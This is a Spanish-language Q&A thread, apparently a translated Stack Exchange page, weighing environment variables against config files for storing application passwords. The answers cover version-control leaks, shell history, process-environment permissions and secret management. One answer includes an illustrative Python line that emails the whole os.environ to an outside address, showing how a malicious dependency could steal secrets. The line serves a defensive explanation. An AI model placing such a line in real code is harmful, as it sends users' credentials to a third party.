¿Es seguro almacenar contraseñas como variables de entorno (en lugar de texto sin formato) en archivos de configuración?

109

Trabajo en algunas aplicaciones en rails, django (y un poco de php), y una de las cosas que comencé a hacer en algunas de ellas es almacenar la base de datos y otras contraseñas como variables de entorno en lugar de texto sin formato en ciertos archivos de configuración ( o en settings.py, para aplicaciones de django).

Al discutir esto con uno de mis colaboradores, sugirió que esta es una mala práctica, que quizás esto no sea tan perfectamente seguro como podría parecer a primera vista.

Entonces, me gustaría saber: ¿es esta una práctica segura? ¿Es más seguro almacenar contraseñas como texto sin formato en estos archivos (asegurándose, por supuesto, de no dejar estos archivos en repositorios públicos ni nada)?

arrendajo
fuente

Respuestas:

45

En un nivel más teórico, tiendo a pensar en los niveles de seguridad de las siguientes maneras (en orden de fuerza creciente):

  • Sin seguridad. Texto sin formato. Cualquiera que sepa dónde buscar, puede acceder a los datos.
  • Seguridad por ofuscación. Almacena los datos (texto sin formato) en algún lugar complicado, como una variable de entorno, o en un archivo que debe parecerse a un archivo de configuración. Un atacante eventualmente se dará cuenta de lo que está sucediendo, o lo encontrará.
  • Seguridad proporcionada por un cifrado que es trivial de romper (¡piense en el cifrado César!).
  • Seguridad proporcionada por un cifrado que se puede romper con un poco de esfuerzo.
  • Seguridad proporcionada por el cifrado que no es práctico romper con el hardware actual.
  • ¡El sistema más seguro es el que nadie puede usar! :)

Las variables de entorno son más seguras que los archivos de texto sin formato, porque son volátiles / desechables, no se guardan; es decir, si establece solo una variable de entorno local, como "establecer pwd = lo que sea", y luego ejecuta el script, con algo que sale de su shell de comandos al final del script, entonces la variable ya no existe. Su caso cae dentro de los dos primeros, que yo diría que es bastante inseguro. Si fuera a hacer esto, no recomendaría la implementación fuera de su intranet / red doméstica inmediata, y solo con fines de prueba.

John Carter
fuente
1
Depende del sistema operativo: en el mejor de los casos, las variables de entorno son tan vulnerables como los archivos de texto sin formato, pero es probable que sean peores. Con archivos de texto sin formato, puede configurar los permisos de lectura en los archivos / directorios para protegerlos. IIRC para las variables de entorno, viven en el espacio de memoria para el proceso de shell, por lo que un cracker emprendedor podría escanear ese espacio en busca de ellas.
John Carter
1
espere un minuto: si almacena la credencial dentro de una variable de entorno, primero deben llegar allí. Ya sea a mano o por guión. Para automatizar el inicio de su software, recomendaría un script. Pero adivina qué, entonces necesitas almacenarlos en un archivo de configuración (para variables env) de todos modos. A menos que no proporcione valores para las variables env a mano, no veo ninguna diferencia de seguridad en los archivos de configuración.
matemáticas
59

Como se mencionó anteriormente, ambos métodos no proporcionan ninguna capa de "seguridad" adicional una vez que su sistema se ve comprometido. Creo que una de las razones más poderosas para favorecer las variables de entorno es el control de versiones : he visto demasiadas configuraciones de bases de datos, etc., almacenadas accidentalmente en el sistema de control de versiones como GIT para que cualquier otro desarrollador las vea (¡y vaya! yo también ...).

No almacenar sus contraseñas en archivos hace que sea imposible que se almacenen en el sistema de control de versiones.

Emrass
fuente
6
Una alternativa bastante razonable a no almacenar las configuraciones secretas en el control de versiones es almacenarlas en un repositorio de control de versiones o en un proyecto separado del repositorio del código.
Kenny Evitt
1
@KennyEvitt que aún deja contraseñas de texto sin formato no seguras en una ubicación compartida que cualquier persona con acceso al repositorio puede encontrar y no hay forma de rastrear quién accedió.
FistOfFury
2
@FistOfFury Seguro, cualquier persona con acceso al repositorio ... puede acceder al repositorio. El objetivo de almacenar secretos en un repositorio separado es exactamente para poder controlar el acceso a esos secretos de manera diferente al código en sí. Pero los repositorios se pueden proteger, por ejemplo, puede almacenar los secretos cifrados en la "ubicación compartida". E incluso podría rastrear información sobre el acceso al repositorio en la ubicación compartida. Pero, por supuesto, permitir que cualquier persona acceda a la información implica que pueden copiar esa información y así acceder a ella en cualquier momento en el futuro sin restricciones ni seguimiento.
Kenny Evitt
2
Gran razón para usar una solución de administración de configuración que le permite almacenar secretos encriptados y luego sustituirlos en plantillas de configuración en el momento de renderizar. Chef tiene bolsas de datos encriptados, Ansible tiene bóvedas, etc.
Brian Cline
1
Esto se denomina Administración de acceso privilegiado, donde los secretos se almacenan en una Bóveda PAM centralizada con controles de acceso completos. Gartner enumera algunos de estos productos .
Amit Naidu
44

Siempre que tenga que almacenar una contraseña, es inseguro. Período. No hay forma de almacenar una contraseña sin cifrar de forma segura. Ahora, cuál de las variables de entorno frente a los archivos de configuración es más "seguro" es quizás discutible. En mi humilde opinión, si su sistema está comprometido, realmente no importa dónde esté almacenado, un hacker diligente puede rastrearlo.

Chris Pratt
fuente
12
Para las variables de entorno, espero unix aquí ... Las variables de entorno son mucho menos seguras que los archivos. Cualquiera puede comprobar el entorno de un proceso en ejecución, pero los archivos pueden tener al menos ACL.
Vatine
11
Dado que el desarrollador tiene que almacenar estas contraseñas, esta no es una respuesta muy útil. ¿Dónde sugieres que los guarde?
Peter Nixey
2
@Vatine Places que exponen variables de entorno también tiene permisos. Prueba cat /proc/1/environpor ejemplo.
Chris Down
4
@Vatine ¿De verdad? No veo ningún entorno para procesos que no sean de mi propiedad en ps axe. strace -e open ps axemuestra que está obteniendo esta información /proc/[pid]/environ, que tiene aplicación de permisos (por lo tanto, un montón de open("/proc/19795/environ", O_RDONLY) = -1 EACCES (Permission denied)).
Chris Down
4
¿Eh? Mire eso, un problema finalmente se ha solucionado (solía ser que psestaba establecido y felizmente le mostraría el entorno de casi todo).
Vatine
28

Lo siento, no tuve suficiente representante para comentar, pero también quería agregar que si no tiene cuidado, su shell también podría capturar esa contraseña en su historial de comandos. Por lo tanto, ejecutar algo como $ pwd=mypassword my_progmanualmente no es tan efímero como podría haber esperado.

brianclements
fuente
21
si antepone todo el "comando env var +" con un espacio, entonces no se almacena en el historial
shadi
gracias @shadi. ¡Aprenda algo nuevo cada día! Me pregunto si eso es específico de shell / fácil de apagar o si es algo que uno puede esperar de manera bastante consistente.
brianclements
4
Otra forma es usar read -s MY_PASS_VARque protegerá tanto de búsquedas de historial de caparazones como de personas que practican surf de hombro.
MatrixManAtYrService
4
@brianclements Me gustaría agregar que prefijar el comando con un espacio solo funciona si el shell actual HISTCONTROLestá configurado en ignorespaceo ignoreboth, por lo que técnicamente se puede activar / desactivar.
Moisés
14

Creo que, cuando sea posible, debería almacenar sus credenciales en un archivo gitignored y no como variables de entorno.

Una de las cosas a tener en cuenta al almacenar credenciales en variables ENV (entorno) frente a un archivo es que cualquier biblioteca o dependencia que utilice puede inspeccionar fácilmente las variables ENV.

Esto se puede hacer de forma maliciosa o no. Por ejemplo, un autor de la biblioteca podría enviar por correo electrónico los seguimientos de la pila más las variables ENV para su depuración (no es la mejor práctica, pero es posible hacerlo).

Si sus credenciales están en un archivo, es mucho más difícil acceder a ellas.

Específicamente, piense en un npm en node. Que un npm mire sus credenciales si están en el ENV es una simple cuestión de process.ENV. Si por otro lado están en un archivo, es mucho más trabajo.

Si su archivo de credenciales está controlado por versión o no, es una cuestión aparte. La versión que no controla su archivo de credenciales lo expone a menos personas. No es necesario que todos los desarrolladores conozcan las credenciales de producción. Dado que esto está a la altura del principio de privilegio mínimo, sugeriría que git ignore su archivo de credenciales.

Peter Ajtai
fuente
6
+1 para "un autor de biblioteca podría enviar por correo electrónico los rastros de la pila más las variables ENV para su depuración". Nunca pensé en este escenario.
netishix
6

Depende de su modelo de amenaza.

¿Está tratando de evitar que sus usuarios esparzan contraseñas en todos sus sistemas de archivos donde es probable que se olviden y se manejen mal? Si es así, entonces sí, porque las variables ambientales son menos persistentes que los archivos.

¿Está tratando de protegerse contra algo malicioso que se dirige directamente a su programa? Si es así, entonces no, porque las variables de entorno no tienen el mismo nivel de control de acceso que los archivos.

Personalmente, creo que los usuarios negligentes son más comunes que los adversarios motivados, así que optaría por el enfoque de variable de entorno.

MatrixManAtYrService
fuente
0

AFAICT, hay dos razones por las que las personas recomiendan almacenar secretos en variables de entorno:

  1. Es demasiado fácil enviar inadvertidamente archivos planos secretos a un repositorio. (Y si es un repositorio público, estás brindis).
  2. Evita el desorden de contraseñas, es decir, tener la misma clave en muchos archivos de directorios de proyectos diferentes es en sí mismo un riesgo de seguridad, ya que los desarrolladores eventualmente perderán la pista de dónde se encuentran los secretos.

Estos dos problemas se pueden resolver mejor. El primero debe resolverse con un gancho de confirmación de git que verifique cosas que parezcan contraseñas (por ejemplo, gitleaks ). Desearía que Linus construyera una herramienta de este tipo en el código fuente de la biblioteca git pero, por desgracia, eso no sucedió. (No hace falta decir que siempre se deben agregar archivos secretos .gitignore, pero necesita un gancho en caso de que alguien se olvide de hacerlo).

Este último se puede resolver teniendo un archivo de secretos de la empresa global, que idealmente se almacena en una unidad compartida de solo lectura. Entonces, en Python, podría tener algo como from company_secrets import *.

Más importante aún, como han señalado otros, es demasiado fácil piratear secretos almacenados en variables de entorno. Por ejemplo, en Python, el autor de una biblioteca podría insertar send_email(address="[email protected]", text=json.dumps(os.environ))y luego estará listo si ejecuta este código. La piratería es mucho más desafiante si tiene un archivo en su sistema llamado ~/secret_company_stuff/.my_very_secret_company_stuff.

Solo usuarios de Django:
Django (en modo DEBUG) muestra el valor bruto de una variable de entorno en el navegador si hay una excepción (en modo DEBUG). Esto parece muy inseguro si, por ejemplo, un desarrollador inicia la DEBUG=Trueproducción por accidente . Por el contrario, Django variables de configuración de contraseña Ofuscación mediante la búsqueda de las cuerdas API, TOKEN, KEY, SECRET, PASSo SIGNATUREen el marco de la settings.pynombres de las variables de archivo.

pandichef
fuente